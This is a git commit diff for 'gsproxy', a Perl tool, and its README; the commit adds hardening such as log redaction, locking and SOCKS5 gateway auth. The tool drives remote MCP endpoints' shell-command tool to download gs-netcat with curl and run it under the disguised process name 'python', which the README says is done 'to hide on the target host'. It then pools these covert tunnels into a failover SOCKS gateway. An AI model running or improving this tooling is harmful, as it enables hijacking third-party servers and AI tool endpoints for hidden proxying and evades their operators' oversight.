harden gsproxy

This commit is contained in:
Luxferre
2026-09-15 10:14:52 +03:00
parent 6b1bc595a3
commit a8f3767b90
2 changed files with 602 additions and 117 deletions
+33 -7
View File
@@ -24,11 +24,13 @@ The whole tool is written with core Perl modules only, so it runs without extra
- A gateway SOCKS port that follows the first alive proxy. - A gateway SOCKS port that follows the first alive proxy.
- Daemon mode with pidfile, status, and stop commands. - Daemon mode with pidfile, status, and stop commands.
- Remote and local teardown that kills leftover gs-netcat processes. - Remote and local teardown that kills leftover gs-netcat processes.
- Offline self-tests that cover config parsing, command building, and the SOCKS handshake. - Optional SOCKS5 username/password auth on the gateway port.
- Optional SHA-256 pinning of the remote gs-netcat binary.
- Offline self-tests that cover config parsing, command building, secret redaction, the single-instance lock, gateway auth, and the SOCKS handshake.
## Requirements ## Requirements
- Perl 5 with the core modules `Getopt::Long`, `IO::Socket::INET`, `IO::Select`, `POSIX`, `HTTP::Tiny`, `JSON::PP`, `Time::HiRes`, `File::Spec`, `Errno`, and `File::Basename`. - Perl 5 with the core modules `Getopt::Long`, `IO::Socket::INET`, `IO::Select`, `POSIX`, `HTTP::Tiny`, `JSON::PP`, `Time::HiRes`, `File::Spec`, `Errno`, `File::Basename`, `Fcntl`, and `IO::Handle`.
- The `gs-netcat` binary in `PATH`, or a path supplied with `--gs-netcat`. - The `gs-netcat` binary in `PATH`, or a path supplied with `--gs-netcat`.
- Network access from the MCP endpoint so the remote bring-up command can download and run gs-netcat. - Network access from the MCP endpoint so the remote bring-up command can download and run gs-netcat.
- A reachable MCP endpoint that exposes the `Tools_Shell_Command` tool. - A reachable MCP endpoint that exposes the `Tools_Shell_Command` tool.
@@ -38,6 +40,7 @@ The whole tool is written with core Perl modules only, so it runs without extra
- Copy `gsproxy.pl` somewhere on the host and make it executable with `chmod +x gsproxy.pl`. - Copy `gsproxy.pl` somewhere on the host and make it executable with `chmod +x gsproxy.pl`.
- Make sure `gs-netcat` is installed and on the `PATH`. - Make sure `gs-netcat` is installed and on the `PATH`.
- Create a `gsproxy.csv` next to the script, or point `--config` at another file. - Create a `gsproxy.csv` next to the script, or point `--config` at another file.
- The script runs with `umask 0077`; runtime files are created mode 0600.
## Configuration ## Configuration
@@ -64,6 +67,8 @@ https://mcp.other.org,topsecret9,20002,beta
The `endpoint` may be a base URL or a full MCP URL. If it does not already end in `/gradio_api/mcp` or `/mcp`, the value of `--mcp-path` is appended. The `endpoint` may be a base URL or a full MCP URL. If it does not already end in `/gradio_api/mcp` or `/mcp`, the value of `--mcp-path` is appended.
Keep the config file mode 0600; the script warns when it is group/world readable.
## Usage ## Usage
Run the tool as a daemon: Run the tool as a daemon:
@@ -91,6 +96,7 @@ The script accepts these command line options:
- `--config FILE` sets the CSV config path. The default is `gsproxy.csv` next to the script. - `--config FILE` sets the CSV config path. The default is `gsproxy.csv` next to the script.
- `--gateway-port PORT` sets the gateway SOCKS port. The default is `1080`. - `--gateway-port PORT` sets the gateway SOCKS port. The default is `1080`.
- `--bind ADDR` sets the address the gateway listens on. The default is `0.0.0.0`. - `--bind ADDR` sets the address the gateway listens on. The default is `0.0.0.0`.
- `--gateway-auth FILE` requires SOCKS5 username/password auth on the gateway. The first non-empty, non-comment line of FILE is `user:pass`; keep the file mode 0600.
- `--interval SEC` sets the monitor interval in seconds. The default is `30`. - `--interval SEC` sets the monitor interval in seconds. The default is `30`.
- `--timeout SEC` sets the per-check timeout in seconds. The default is `10`. - `--timeout SEC` sets the per-check timeout in seconds. The default is `10`.
- `--mcp-timeout SEC` sets the MCP shell command timeout in seconds. The default is `60`. - `--mcp-timeout SEC` sets the MCP shell command timeout in seconds. The default is `60`.
@@ -98,6 +104,7 @@ The script accepts these command line options:
- `--test-port PORT` sets the port probed through each SOCKS proxy. The default is `443`. - `--test-port PORT` sets the port probed through each SOCKS proxy. The default is `443`.
- `--workdir DIR` sets the remote working directory for the MCP call. The default is `.`. - `--workdir DIR` sets the remote working directory for the MCP call. The default is `.`.
- `--gs-netcat PATH` sets the gs-netcat binary. The default is `gs-netcat` from `PATH`. - `--gs-netcat PATH` sets the gs-netcat binary. The default is `gs-netcat` from `PATH`.
- `--target-sha256 HASH` pins the SHA-256 of the remote gs-netcat binary (64 hex chars). The remote bring-up verifies the extracted binary before running it; a mismatch aborts the bring-up.
- `--log FILE` sets the log file. The default is `gsproxy.log` next to the script. - `--log FILE` sets the log file. The default is `gsproxy.log` next to the script.
- `--pidfile FILE` sets the pidfile. The default is `gsproxy.pid` next to the script. - `--pidfile FILE` sets the pidfile. The default is `gsproxy.pid` next to the script.
- `--state FILE` sets the runtime state file. The default is `gsproxy.state` next to the script. - `--state FILE` sets the runtime state file. The default is `gsproxy.state` next to the script.
@@ -109,7 +116,7 @@ The script accepts these command line options:
- `--once` runs one monitor pass and then exits. - `--once` runs one monitor pass and then exits.
- `--list` parses the config, prints the rows, and exits. - `--list` parses the config, prints the rows, and exits.
- `--status` reports whether the daemon is running. - `--status` reports whether the daemon is running.
- `--stop` stops a running daemon and tears down proxies. - `--stop` stops running daemons and tears down proxies.
- `--selftest` runs the offline self-tests. - `--selftest` runs the offline self-tests.
- `-h, --help` shows the help text. - `-h, --help` shows the help text.
@@ -136,6 +143,8 @@ On every interval the monitor checks each proxy, logs only status changes, and w
The gateway listens, forks per connection, and reads the target port from the state file. It opens a TCP connection to that port and copies bytes in both directions with `IO::Select`, shutting down each direction as its side closes. If the state file has no valid port, the connection is dropped. The gateway listens, forks per connection, and reads the target port from the state file. It opens a TCP connection to that port and copies bytes in both directions with `IO::Select`, shutting down each direction as its side closes. If the state file has no valid port, the connection is dropped.
Without `--gateway-auth` the gateway is a transparent relay. With `--gateway-auth` the gateway performs the SOCKS5 username/password exchange itself (RFC 1929), then greets the upstream proxy and forwards the client's CONNECT request, so only authenticated clients can route through it.
### Teardown ### Teardown
Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat processes that match the `-D -p PORT` shape and sends them `TERM`. Remotely it runs a shell command over MCP that scans `/proc` for processes whose environment contains `GSOCKET_ARGS=-lSD -s SECRET` and kills them. Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat processes that match the `-D -p PORT` shape and sends them `TERM`. Remotely it runs a shell command over MCP that scans `/proc` for processes whose environment contains `GSOCKET_ARGS=-lSD -s SECRET` and kills them.
@@ -148,6 +157,7 @@ Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat p
- List config rows: `./gsproxy.pl --list` - List config rows: `./gsproxy.pl --list`
- One pass, foreground: `./gsproxy.pl --once --no-daemon` - One pass, foreground: `./gsproxy.pl --once --no-daemon`
- Run self-tests: `./gsproxy.pl --selftest` - Run self-tests: `./gsproxy.pl --selftest`
- Run with gateway auth: `./gsproxy.pl --gateway-auth /etc/gsproxy.auth`
## Files ## Files
@@ -155,6 +165,9 @@ Stopping the tool cleans up both sides. Locally it scans `/proc` for gs-netcat p
- `gsproxy.log` is the append-only log, one UTC-stamped line per event. - `gsproxy.log` is the append-only log, one UTC-stamped line per event.
- `gsproxy.pid` holds the daemon and gateway process ids. - `gsproxy.pid` holds the daemon and gateway process ids.
- `gsproxy.state` holds the first alive port on the first line and all alive ports on the second. - `gsproxy.state` holds the first alive port on the first line and all alive ports on the second.
- `gsproxy.auth` (with `--gateway-auth`) holds one `user:pass` line.
All runtime files are created mode 0600.
## Logging ## Logging
@@ -166,26 +179,39 @@ Every event is written with a UTC timestamp in the form `[YYYY-MM-DDTHH:MM:SSZ]
- It re-reads the state file on every new connection, so failover is immediate. - It re-reads the state file on every new connection, so failover is immediate.
- A dead or missing target port causes the connection to be dropped without reply. - A dead or missing target port causes the connection to be dropped without reply.
- Each connection is handled by a forked child, keeping the listener responsive. - Each connection is handled by a forked child, keeping the listener responsive.
- With `--gateway-auth`, clients must complete a SOCKS5 username/password login before any relay happens.
## Self-tests ## Self-tests
The `--selftest` mode runs offline checks and prints `PASS` or `FAIL` per case. It writes a temporary CSV, a temporary state file, and a temporary log under `/tmp`. It covers config parsing, command string quoting, gs-netcat process discovery, live and dead SOCKS detection, and a full gateway relay against a fake SOCKS server. It exits non-zero if any check fails. The `--selftest` mode runs offline checks and prints `PASS` or `FAIL` per case. It writes a temporary CSV, a temporary state file, and a temporary log under `/tmp`. It covers config parsing, command string quoting, gs-netcat process discovery, secret redaction, the single-instance lock, zombie detection, gateway auth accept/reject, live and dead SOCKS detection, and a full gateway relay (with and without auth) against a fake SOCKS server. It exits non-zero if any check fails.
## Hardening
- **File permissions.** The script runs with `umask 0077`, creates the log, pidfile, state, and auth files with mode 0600, and tightens pre-existing files at startup. It warns when the CSV config or the gateway auth file is group/world readable.
- **Secret redaction.** Every log line passes through a redactor that replaces configured secrets with `**`. This includes MCP tool results that echo the full remote command, so secrets no longer leak into the log.
- **Single instance.** An advisory `flock` on the pidfile plus a `/proc` scan for already-daemonized gsproxy processes prevents the overlapping-instance failure mode. A second instance refuses to start, and `--once`/foreground runs refuse while a daemon is active.
- **Gateway supervision.** The gateway child reports bind success through a pipe before serving. A bind failure aborts startup instead of leaving a half-alive instance, and the monitor restarts a crashed gateway (reaping zombies on every pass).
- **Verified stop.** `--stop` only signals processes that are really gsproxy instances, waits up to five seconds for them to exit, escalates to `KILL` if needed, and also finds daemons that are missing from the pidfile.
- **Gateway auth.** `--gateway-auth FILE` turns the gateway into a SOCKS5 username/password front-end. Without it the gateway is an open relay, and a warning is logged whenever the gateway binds to a non-loopback address.
- **Binary pinning.** `--target-sha256 HASH` verifies the downloaded gs-netcat binary on the remote host before it runs, so a tampered download fails the bring-up.
## Security notes ## Security notes
- Secrets are masked in logs and list output, so only the first two characters appear. - Secrets are masked in list output and redacted from every log line, including MCP tool results that echo remote commands.
- All runtime files (log, pidfile, state, gateway auth file) are created with mode 0600.
- The remote process is deliberately renamed to `python` to hide on the target host. - The remote process is deliberately renamed to `python` to hide on the target host.
- The `--insecure` flag turns off TLS verification and should be used only when the MCP endpoint is trusted. - The `--insecure` flag turns off TLS verification and should be used only when the MCP endpoint is trusted.
- The gateway binds to `0.0.0.0` by default. Restrict `--bind` if the host should not expose the proxy to the network. - The gateway binds to `0.0.0.0` by default and is an open relay unless `--gateway-auth` is set. Restrict `--bind` to `127.0.0.1` or enable auth if the host should not expose the proxy to the network.
- Anyone who can reach the gateway SOCKS port can route through the current proxy, so the port should be firewalled. - Anyone who can reach the gateway SOCKS port can route through the current proxy, so the port should be firewalled.
## Troubleshooting ## Troubleshooting
- If the script reports no usable rows, check that the CSV has valid `endpoint,secret,port` fields and a numeric port. - If the script reports no usable rows, check that the CSV has valid `endpoint,secret,port` fields and a numeric port.
- If the daemon will not start, run `--status` to see whether it is already running, then use `--stop` first. - If the daemon will not start, run `--status` to see whether it is already running, then use `--stop` first. A live daemon detected in `/proc` or a locked pidfile also refuses startup.
- If MCP bring-up fails, confirm the endpoint exposes `Tools_Shell_Command` and try `--insecure` only if the certificate is the problem. - If MCP bring-up fails, confirm the endpoint exposes `Tools_Shell_Command` and try `--insecure` only if the certificate is the problem.
- If no proxy becomes alive, run `--list` to confirm the rows and check that `gs-netcat` is on the `PATH`. - If no proxy becomes alive, run `--list` to confirm the rows and check that `gs-netcat` is on the `PATH`.
- If the gateway has no target, watch the log for `SOCKS ... is dead` lines to see which proxies are failing. - If the gateway has no target, watch the log for `SOCKS ... is dead` lines to see which proxies are failing.
- If the gateway port is already in use, the script aborts at startup with `gateway failed to start` instead of lingering.
## Credits ## Credits
+498 -39
View File
@@ -9,6 +9,10 @@
# 3. monitors each local SOCKS proxy and logs every status change; # 3. monitors each local SOCKS proxy and logs every status change;
# then exposes a gateway SOCKS port that relays to the first alive proxy # then exposes a gateway SOCKS port that relays to the first alive proxy
# #
# Hardening: single-instance flock, secret redaction in logs, 0600 files,
# gateway bind verification and supervision, verified --stop, optional
# SOCKS5 user/pass auth on the gateway, optional remote binary pinning.
#
# Core modules only, no deps # Core modules only, no deps
# #
# Created by Luxferre in 2026, released into the public domain # Created by Luxferre in 2026, released into the public domain
@@ -24,7 +28,11 @@ use JSON::PP;
use Time::HiRes qw(sleep); use Time::HiRes qw(sleep);
use File::Spec; use File::Spec;
use Errno qw(EINTR EAGAIN); use Errno qw(EINTR EAGAIN);
use File::Basename qw(dirname); use File::Basename qw(dirname basename);
use Fcntl qw(:flock);
use IO::Handle;
umask 0077;
my $NL = chr(10); my $NL = chr(10);
my $SQ = chr(39); my $SQ = chr(39);
@@ -59,8 +67,16 @@ my %opt = (
status => 0, status => 0,
selftest => 0, selftest => 0,
help => 0, help => 0,
gateway_auth => undef,
target_sha256 => undef,
); );
my @secrets;
my $lock_fh;
my $gwpid;
my $last_gw_attempt = 0;
my ($gw_auth_user, $gw_auth_pass);
GetOptions( GetOptions(
'config=s' => \$opt{config}, 'config=s' => \$opt{config},
'log=s' => \$opt{log}, 'log=s' => \$opt{log},
@@ -86,13 +102,19 @@ GetOptions(
'stop' => \$opt{stop}, 'stop' => \$opt{stop},
'status' => \$opt{status}, 'status' => \$opt{status},
'selftest' => \$opt{selftest}, 'selftest' => \$opt{selftest},
'gateway-auth=s' => \$opt{gateway_auth},
'target-sha256=s' => \$opt{target_sha256},
'help|h' => \$opt{help}, 'help|h' => \$opt{help},
) or usage(2); ) or usage(2);
usage(0) if $opt{help}; usage(0) if $opt{help};
harden_file_perms();
selftest() if $opt{selftest}; selftest() if $opt{selftest};
if ($opt{stop}) { stop_daemon(); exit 0; } if ($opt{stop}) { stop_daemon(); exit 0; }
if ($opt{status}) { exit(do_status()); } if ($opt{status}) { exit(do_status()); }
if (defined $opt{target_sha256} && $opt{target_sha256} !~ /^[0-9a-fA-F]{64}$/) {
die 'invalid --target-sha256: expected 64 hex characters' . $NL;
}
sub usage { sub usage {
my ($code) = @_; my ($code) = @_;
@@ -106,6 +128,7 @@ Options:
--config FILE CSV config: endpoint,secret,port[,label] (default ./gsproxy.csv) --config FILE CSV config: endpoint,secret,port[,label] (default ./gsproxy.csv)
--gateway-port PORT Gateway SOCKS port mapped to first alive SOCKS (default 1080) --gateway-port PORT Gateway SOCKS port mapped to first alive SOCKS (default 1080)
--bind ADDR Address the gateway SOCKS listens on (default 0.0.0.0) --bind ADDR Address the gateway SOCKS listens on (default 0.0.0.0)
--gateway-auth FILE Require SOCKS5 user/pass auth on the gateway (FILE: user:pass)
--interval SEC Monitor interval seconds (default 30) --interval SEC Monitor interval seconds (default 30)
--timeout SEC Per-check timeout seconds (default 10) --timeout SEC Per-check timeout seconds (default 10)
--mcp-timeout SEC MCP Tools_Shell_Command timeout (default 60) --mcp-timeout SEC MCP Tools_Shell_Command timeout (default 60)
@@ -113,6 +136,7 @@ Options:
--test-port PORT Port probed through each SOCKS (default 443) --test-port PORT Port probed through each SOCKS (default 443)
--workdir DIR Remote workdir for the MCP call (default .) --workdir DIR Remote workdir for the MCP call (default .)
--gs-netcat PATH gs-netcat binary (default: from PATH) --gs-netcat PATH gs-netcat binary (default: from PATH)
--target-sha256 HASH Verify remote gs-netcat SHA-256 before running (64 hex)
--log FILE Log file (default ./gsproxy.log) --log FILE Log file (default ./gsproxy.log)
--pidfile FILE Pidfile (default ./gsproxy.pid) --pidfile FILE Pidfile (default ./gsproxy.pid)
--state FILE Runtime state file (default ./gsproxy.state) --state FILE Runtime state file (default ./gsproxy.state)
@@ -140,16 +164,41 @@ sub strip_eol {
sub now_utc { return strftime('%Y-%m-%dT%H:%M:%SZ', gmtime(time())); } sub now_utc { return strftime('%Y-%m-%dT%H:%M:%SZ', gmtime(time())); }
sub mask {
my ($s) = @_;
$s = '' unless defined $s;
return '***' if length($s) <= 2;
return substr($s, 0, 2) . '***';
}
sub register_secrets {
push @secrets, @_;
}
sub redact {
my ($s) = @_;
$s = '' unless defined $s;
for my $sec (@secrets) {
next unless defined $sec && length($sec) >= 3;
my $m = mask($sec);
$s =~ s/\Q$sec\E/$m/g;
}
return $s;
}
sub logmsg { sub logmsg {
my ($msg) = @_; my ($msg) = @_;
my $line = '[' . now_utc() . '] ' . $msg . $NL; my $line = '[' . now_utc() . '] ' . redact($msg) . $NL;
if (open my $fh, '>>', $opt{log}) { print $fh $line; close $fh; } if (open my $fh, '>>', $opt{log}) {
chmod 0600, $opt{log};
print $fh $line;
close $fh;
}
print STDERR $line if $opt{verbose}; print STDERR $line if $opt{verbose};
} }
sub shq { sub shq {
my ($s) = @_ my ($s) = @_;
;
$s = '' unless defined $s; $s = '' unless defined $s;
my $out = $SQ; my $out = $SQ;
for my $ch (split //, $s) { for my $ch (split //, $s) {
@@ -170,16 +219,9 @@ sub which {
return undef; return undef;
} }
sub mask {
my ($s) = @_;
$s = '' unless defined $s;
return '***' if length($s) <= 2;
return substr($s, 0, 2) . '***';
}
sub one_line { sub one_line {
my ($s) = @_; my ($s) = @_;
$s = '' unless defined $s; $s = redact($s);
$s =~ s/[[:space:]]+/ /g; $s =~ s/[[:space:]]+/ /g;
return substr($s, 0, 300); return substr($s, 0, 300);
} }
@@ -360,7 +402,12 @@ sub target_cmd {
my ($secret) = @_; my ($secret) = @_;
my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz'; my $url = 'https://github.com/hackerschoice/binary/raw/refs/heads/main/gsocket/bin/gs-netcat_$(uname -m)-alpine.tar.gz';
my $args = shq('-lSD -s ' . $secret); my $args = shq('-lSD -s ' . $secret);
return qq{curl -fsSL $url | tar xz && GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat}; my $cmd = qq{curl -fsSL $url | tar xz && };
if ($opt{target_sha256}) {
$cmd .= qq{echo '$opt{target_sha256} gs-netcat' | sha256sum -c - && };
}
$cmd .= qq{GSOCKET_ARGS=$args bash -c 'exec -a python ./gs-netcat' && rm -f gs-netcat};
return $cmd;
} }
sub teardown_cmd { sub teardown_cmd {
@@ -381,6 +428,45 @@ sub read_proc_file {
return $c; return $c;
} }
sub proc_state {
my ($pid) = @_;
my $raw = read_proc_file('/proc/' . $pid . '/stat');
return undef unless defined $raw;
my $i = rindex($raw, ')');
return undef if $i < 0;
my @f = split ' ', substr($raw, $i + 1);
return $f[0];
}
sub proc_is_gsproxy {
my ($pid) = @_;
my $raw = read_proc_file('/proc/' . $pid . '/cmdline');
return 0 unless defined $raw && length $raw;
my $flat = join(' ', split /[[:cntrl:]]/, $raw);
my $base = basename($0);
return $flat =~ /\Q$base\E/ ? 1 : 0;
}
sub find_other_daemons {
my @out;
opendir my $dh, '/proc' or return @out;
for my $d (readdir $dh) {
next unless $d =~ /^[0-9]+$/;
next if $d == $$;
next unless proc_is_gsproxy($d);
my $raw = read_proc_file('/proc/' . $d . '/stat');
next unless defined $raw;
my $i = rindex($raw, ')');
next if $i < 0;
my @f = split ' ', substr($raw, $i + 1);
next if (defined $f[0] ? $f[0] : '') eq 'Z';
next unless defined $f[1] && $f[1] == 1;
push @out, $d;
}
closedir $dh;
return @out;
}
sub find_local_pids { sub find_local_pids {
my %ports = map { $_ => 1 } @_; my %ports = map { $_ => 1 } @_;
my @pids; my @pids;
@@ -430,7 +516,7 @@ sub start_local {
my $gn = which($opt{gs_netcat}); my $gn = which($opt{gs_netcat});
return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn; return (0, 'gs-netcat not found: ' . $opt{gs_netcat}) unless defined $gn;
my $port = $e->{port}; my $port = $e->{port};
my $cmd = $gn . ' -D -p ' . $port . ' -s ' . shq($e->{secret}); my $cmd = shq($gn) . ' -D -p ' . $port . ' -s ' . shq($e->{secret});
system($cmd . q{ >/dev/null 2>&1 &}); system($cmd . q{ >/dev/null 2>&1 &});
return (1, 'started local gs-netcat on 127.0.0.1:' . $port); return (1, 'started local gs-netcat on 127.0.0.1:' . $port);
} }
@@ -454,6 +540,7 @@ sub bring_up {
sub write_state { sub write_state {
my ($alive) = @_; my ($alive) = @_;
open my $fh, '>', $opt{state} or return; open my $fh, '>', $opt{state} or return;
chmod 0600, $opt{state};
my $first = @$alive ? $alive->[0] : ''; my $first = @$alive ? $alive->[0] : '';
print $fh $first, $NL; print $fh $first, $NL;
print $fh join(' ', @$alive), $NL; print $fh join(' ', @$alive), $NL;
@@ -513,6 +600,63 @@ sub pump {
} }
} }
sub socks_auth_client {
my ($c) = @_;
return 1 unless defined $gw_auth_user;
my $g = read_exact($c, 2, 10);
return 0 unless defined $g && ord(substr($g, 0, 1)) == 5;
my $nm = ord(substr($g, 1, 1));
return 0 if $nm == 0 || $nm > 255;
my $methods = read_exact($c, $nm, 10);
return 0 unless defined $methods && length($methods) == $nm;
return 0 unless index($methods, chr(2)) >= 0;
return 0 unless syswrite($c, pack('C*', 5, 2)) == 2;
my $h = read_exact($c, 2, 10);
return 0 unless defined $h;
return 0 unless ord(substr($h, 0, 1)) == 1;
my $ulen = ord(substr($h, 1, 1));
return 0 if $ulen == 0 || $ulen > 255;
my $u = read_exact($c, $ulen, 10);
return 0 unless defined $u;
my $pb = read_exact($c, 1, 10);
return 0 unless defined $pb;
my $plen = ord($pb);
return 0 if $plen == 0 || $plen > 255;
my $p = read_exact($c, $plen, 10);
return 0 unless defined $p;
if ($u eq $gw_auth_user && $p eq $gw_auth_pass) {
return 0 unless syswrite($c, pack('C*', 1, 0)) == 2;
return 1;
}
syswrite($c, pack('C*', 1, 1));
return 0;
}
sub read_socks_request {
my ($c) = @_;
my $buf = read_exact($c, 4, 10);
return undef unless defined $buf;
my $atyp = ord(substr($buf, 3, 1));
my $extra;
if ($atyp == 1) {
$extra = read_exact($c, 4, 10);
} elsif ($atyp == 3) {
my $l = read_exact($c, 1, 10);
return undef unless defined $l;
my $d = read_exact($c, ord($l), 10);
return undef unless defined $d;
$extra = $l . $d;
} elsif ($atyp == 4) {
$extra = read_exact($c, 16, 10);
} else {
return undef;
}
return undef unless defined $extra;
my $port = read_exact($c, 2, 10);
return undef unless defined $port;
return $buf . $extra . $port;
}
sub handle_gateway_conn { sub handle_gateway_conn {
my ($c) = @_; my ($c) = @_;
my $up = read_state_port(); my $up = read_state_port();
@@ -523,7 +667,19 @@ sub handle_gateway_conn {
Proto => 'tcp', Proto => 'tcp',
Timeout => 10, Timeout => 10,
) or return; ) or return;
if (defined $gw_auth_user) {
return unless socks_auth_client($c);
my $req = read_socks_request($c);
return unless defined $req;
my $greet = pack('C*', 5, 1, 0);
return unless syswrite($u, $greet) == length($greet);
my $g = read_exact($u, 2, 10);
return unless defined $g && $g eq pack('C*', 5, 0);
return unless syswrite($u, $req) == length($req);
eval { pump($c, $u) }; eval { pump($c, $u) };
} else {
eval { pump($c, $u) };
}
close $u; close $u;
close $c; close $c;
} }
@@ -531,19 +687,38 @@ sub handle_gateway_conn {
sub start_gateway { sub start_gateway {
my $gw = $opt{gateway}; my $gw = $opt{gateway};
my $bind = $opt{bind}; my $bind = $opt{bind};
my ($r, $w);
pipe($r, $w) or return undef;
my $pid = fork(); my $pid = fork();
return $pid if $pid; return undef unless defined $pid;
if ($pid == 0) {
close $r;
$SIG{TERM} = sub { exit 0 }; $SIG{TERM} = sub { exit 0 };
$SIG{INT} = sub { exit 0 }; $SIG{INT} = sub { exit 0 };
$SIG{CHLD} = sub { 1 while waitpid(-1, WNOHANG) > 0 };
my $lsn = IO::Socket::INET->new( my $lsn = IO::Socket::INET->new(
LocalAddr => $bind, LocalAddr => $bind,
LocalPort => $gw, LocalPort => $gw,
Proto => 'tcp', Proto => 'tcp',
Listen => 128, Listen => 128,
ReuseAddr => 1, ReuseAddr => 1,
) or do { logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!); exit 1; }; );
if (!$lsn) {
logmsg('gateway: cannot listen on ' . $bind . ':' . $gw . ': ' . $!);
print {$w} 'ERR' . $NL;
close $w;
exit 1;
}
print {$w} 'OK' . $NL;
close $w;
logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS'); logmsg('gateway listening on ' . $bind . ':' . $gw . ' -> first alive SOCKS');
while (my $c = $lsn->accept) { while (1) {
my $c = $lsn->accept;
if (!defined $c) {
next if $! == EINTR;
logmsg('gateway: accept failed: ' . $!);
exit 1;
}
my $p = fork(); my $p = fork();
if (defined $p && $p == 0) { if (defined $p && $p == 0) {
close $lsn; close $lsn;
@@ -551,10 +726,24 @@ sub start_gateway {
exit 0; exit 0;
} }
close $c; close $c;
1 while waitpid(-1, WNOHANG) > 0;
} }
exit 0; exit 0;
} }
close $w;
my $sel = IO::Select->new($r);
my $ok = 0;
if ($sel->can_read(5)) {
my $line = <$r>;
$ok = 1 if defined $line && $line =~ /^OK/;
}
close $r;
unless ($ok) {
kill('TERM', $pid);
waitpid($pid, 0);
return undef;
}
return $pid;
}
my %async_jobs; my %async_jobs;
@@ -574,18 +763,33 @@ sub spawn_bringup {
return $pid; return $pid;
} }
sub reap_jobs { sub reap_children {
for my $pid (keys %async_jobs) { my $reaped = 0;
my $r = waitpid($pid, WNOHANG); while (1) {
next if $r == 0; my $r = waitpid(-1, WNOHANG);
my $e = delete $async_jobs{$pid}; last if $r <= 0;
$reaped++;
if (exists $async_jobs{$r}) {
my $e = delete $async_jobs{$r};
$e->{bringing_up} = 0 if $e; $e->{bringing_up} = 0 if $e;
} }
if (defined $gwpid && $r == $gwpid) {
logmsg('gateway process ' . $r . ' exited');
$gwpid = undef;
}
}
return $reaped;
} }
sub monitor_once { sub monitor_once {
my ($rows) = @_; my ($rows) = @_;
reap_jobs() unless $opt{once}; reap_children() unless $opt{once};
if (!$opt{once} && !defined $gwpid && time() - $last_gw_attempt >= 30) {
$last_gw_attempt = time();
logmsg('gateway not running; restarting');
$gwpid = start_gateway();
write_pidfile($$, $gwpid) if defined $gwpid;
}
my @alive; my @alive;
for my $e (@$rows) { for my $e (@$rows) {
my $label = $e->{label}; my $label = $e->{label};
@@ -612,7 +816,14 @@ sub monitor_once {
sub write_pidfile { sub write_pidfile {
my @pids = @_; my @pids = @_;
if ($lock_fh) {
seek($lock_fh, 0, 0);
truncate($lock_fh, 0);
print {$lock_fh} join($NL, @pids), $NL;
return;
}
open my $fh, '>', $opt{pidfile} or return; open my $fh, '>', $opt{pidfile} or return;
chmod 0600, $opt{pidfile};
print $fh join($NL, @pids), $NL; print $fh join($NL, @pids), $NL;
close $fh; close $fh;
} }
@@ -629,11 +840,65 @@ sub read_pidfile {
return @out; return @out;
} }
sub acquire_lock {
return 1 if $lock_fh;
open my $fh, '>>', $opt{pidfile} or return 0;
unless (flock($fh, LOCK_EX | LOCK_NB)) {
close $fh;
return 0;
}
chmod 0600, $opt{pidfile};
$fh->autoflush(1);
$lock_fh = $fh;
return 1;
}
sub release_lock {
if ($lock_fh) {
close $lock_fh;
$lock_fh = undef;
}
}
sub guard_start {
my @others = find_other_daemons();
if (@others) {
print 'gsproxy daemon already running (pid ' . join(',', @others) . '). Use --stop first.' . $NL;
exit 1;
}
unless (acquire_lock()) {
print 'gsproxy already running (pidfile locked). Use --stop first.' . $NL;
exit 1;
}
}
sub stop_daemon { sub stop_daemon {
my @pids = read_pidfile(); my %pids = map { $_ => 1 } read_pidfile();
$pids{$_} = 1 for find_other_daemons();
my @pids = sort { $a <=> $b } keys %pids;
my $any = 0; my $any = 0;
my @victims;
for my $p (@pids) { for my $p (@pids) {
if (kill(0, $p)) { kill('TERM', $p); logmsg('stopped pid ' . $p); $any = 1; } next unless proc_is_gsproxy($p);
if (kill(0, $p)) {
push @victims, $p;
kill('TERM', $p);
logmsg('stopped pid ' . $p);
$any = 1;
}
}
if (@victims) {
my $deadline = time() + 5;
for my $p (@victims) {
while (time() < $deadline && kill(0, $p)) {
last if (proc_state($p) // '') eq 'Z';
sleep 0.2;
}
if (kill(0, $p) && (proc_state($p) // '') ne 'Z') {
logmsg('pid ' . $p . ' did not exit; sending KILL');
kill('KILL', $p);
}
}
} }
if (@pids) { if (@pids) {
my @now = read_pidfile(); my @now = read_pidfile();
@@ -652,16 +917,22 @@ sub stop_daemon {
sub do_status { sub do_status {
my @pids = read_pidfile(); my @pids = read_pidfile();
my @live = grep { kill(0, $_) } @pids; my @live;
for my $p (@pids) {
next unless proc_is_gsproxy($p);
next if (proc_state($p) // '') eq 'Z';
push @live, $p if kill(0, $p);
}
if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; } if (@live) { print 'gsproxy running (pid ' . join(',', @live) . ')' . $NL; return 0; }
print 'gsproxy not running' . $NL; print 'gsproxy not running' . $NL;
return 1; return 1;
} }
sub cleanup { sub cleanup {
my ($gwpid, $rows) = @_; my ($rows) = @_;
kill('TERM', $gwpid) if $gwpid; kill('TERM', $gwpid) if $gwpid;
unlink $opt{pidfile}; unlink $opt{pidfile};
release_lock();
if ($rows) { if ($rows) {
my $nl = teardown_local($rows); my $nl = teardown_local($rows);
logmsg('teardown: local gs-netcat stopped=' . $nl); logmsg('teardown: local gs-netcat stopped=' . $nl);
@@ -672,12 +943,21 @@ sub cleanup {
sub run_foreground { sub run_foreground {
my ($rows) = @_; my ($rows) = @_;
my $gwpid;
if (!$opt{once}) { if (!$opt{once}) {
unless (is_loopback($opt{bind})) {
logmsg('warning: gateway bound to ' . $opt{bind} . ':' . $opt{gateway}
. ' is exposed to the network; restrict with --bind or --gateway-auth');
}
$gwpid = start_gateway(); $gwpid = start_gateway();
if (!defined $gwpid) {
logmsg('gateway failed to start; aborting');
release_lock();
exit 1;
}
$last_gw_attempt = time();
write_pidfile($$, $gwpid); write_pidfile($$, $gwpid);
$SIG{TERM} = sub { cleanup($gwpid, $rows); exit 0 }; $SIG{TERM} = sub { cleanup($rows); exit 0 };
$SIG{INT} = sub { cleanup($gwpid, $rows); exit 0 }; $SIG{INT} = sub { cleanup($rows); exit 0 };
